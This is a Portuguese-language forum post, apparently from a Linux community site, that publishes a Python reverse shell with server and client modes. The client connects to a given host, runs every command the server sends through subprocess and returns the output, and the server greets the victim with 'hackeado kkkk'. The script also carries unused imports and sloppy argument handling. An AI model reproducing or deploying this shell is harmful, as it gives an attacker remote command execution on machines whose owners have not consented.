Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 2.210 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3
import socket
import sys
import  subprocess
import threading
import tqdm
import os
import cv2
import numpy as np
import pyautogui
buffer = 4096
# display screen resolution, get it from your OS settings
# define the codec
# create the video write object
if len(sys.argv) < 2:
    sys.exit
    quit()
if sys.argv[1] == '-h':
    print("""[host]:[port]
-l = host
-p = porta
example ./netcatt.py -h 192.168.0.1 -p 2000""")
    sys.exit()
    quit()
print("""[host] [port]""")
a = input('clien, ou server: ')
if sys.argv[1] == '-l':
    host = str(sys.argv[2])
if sys.argv[3] == '-p':
    port = int(sys.argv[4])
s = socket.socket()
if a in 'Ss':
    s.bind((host,port))
    s.listen(5)
    print(f'listndo {host}:{port}')
    client_socket, client_adress = s.accept()
    message = 'hackeado kkkk'.encode()
    client_socket.send(message)
    
    while True:
        command = input('comando: ')
        client_socket.send(command.encode())
        if command.lower() == "exit":
            break
        results = client_socket.recv(buffer).decode()
        print(results)
    client_socket.close()
    s.close
if a in 'cC':
    s.connect((host, port))
    message = s.recv(buffer).decode()
    print('server: ', message)
    # start sending the file
    while True:
    # receive the command from the server
        command = s.recv(buffer).decode()
        if command.lower() == "exit":
            break
        output = subprocess.getoutput(command)
        # send the results back to the server
        s.send(output.encode())
        # close client connection
    s.close()
if s.close:
    print('-'*20, 'fim', '-'*18)
Aplicação gráfica para Wake-on-LAN com Python 3 + GUI Tk/Tcl
B.S.A.N.S. - Break Security - Automated Network Scanner [PARTE 1]
IA Turbina o Desktop Linux enquanto distros renovam forças
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Atualizando o Fedora 42 para 43
Como saber se o seu e-mail já teve a senha vazada?
Como descobrir se a sua senha já foi vazada na internet?
Mint Xfce não mantém a conexão no wi-fi (1)
Problemas com Driver NVIDIA (5)
Warcraft II Remastered no Linux? (8)









